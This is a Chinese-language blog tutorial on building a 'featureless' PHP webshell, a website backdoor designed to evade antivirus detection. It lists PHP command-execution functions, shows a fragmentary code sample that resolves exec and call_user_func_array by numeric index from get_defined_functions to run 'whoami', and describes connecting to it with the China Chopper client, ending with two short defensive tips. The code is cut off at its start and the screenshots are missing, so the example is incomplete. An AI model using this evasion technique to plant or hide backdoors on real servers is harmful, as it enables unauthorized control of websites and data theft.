PHP无特征webshell

PHP无特征webshell

  • webshell就是将php、asp代码以网页的形式,编写成命令、代码执行的环境,可用于作为网站后门。webshell形式可谓是千变万化,但是总会存在一些文件和代码特征,从而可能被杀毒软件查杀,但是我们如何能做到无文件、无特征,来规避杀毒软件的查杀和检测呢?

常见php代码种可执行命令函数:

eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()、
文件操作函数(file_put_contents()、fputs())、动态函数($a($b))

无特征webshell

原理:这里使用get_defined_functions函数遍历所有函数,然后将特定函数放在call_user_func_array函数中,来执行系统命令。


执行结果:

PHP无特征webshell_第1张图片

  • 通过上面代码原理分析,我们可以看到这里是通过get_defined_functions遍历函数,从而调用exec等命令执行或代码执行函数的。

编写无特征webshell

array_shift
	$c = $f[$t];
	return $f[549]($c, $a);	//549===>call_user_func_array

}
print_r(f(456,'whoami'));	//456===>exec
?>

注意:

  • 这里的797、549、456,就表示通过list key,去索引函数名。

PHP无特征webshell_第2张图片
PHP无特征webshell_第3张图片

  • 执行结果(当前只是执行系统命令)

PHP无特征webshell_第4张图片

使用菜刀进行管理

  • 添加变量接收请求

PHP无特征webshell_第5张图片

  • 执行任意代码

PHP无特征webshell_第6张图片

  • 菜刀连接

PHP无特征webshell_第7张图片

防御方式:

  • 1.建议对网站使用WebShell扫描查杀工具进行查杀,例如D盾、WebShellkiller。
  • 2.对用户可控网站目录可读可写可执行权限进行严格限制。

你可能感兴趣的:(webshell)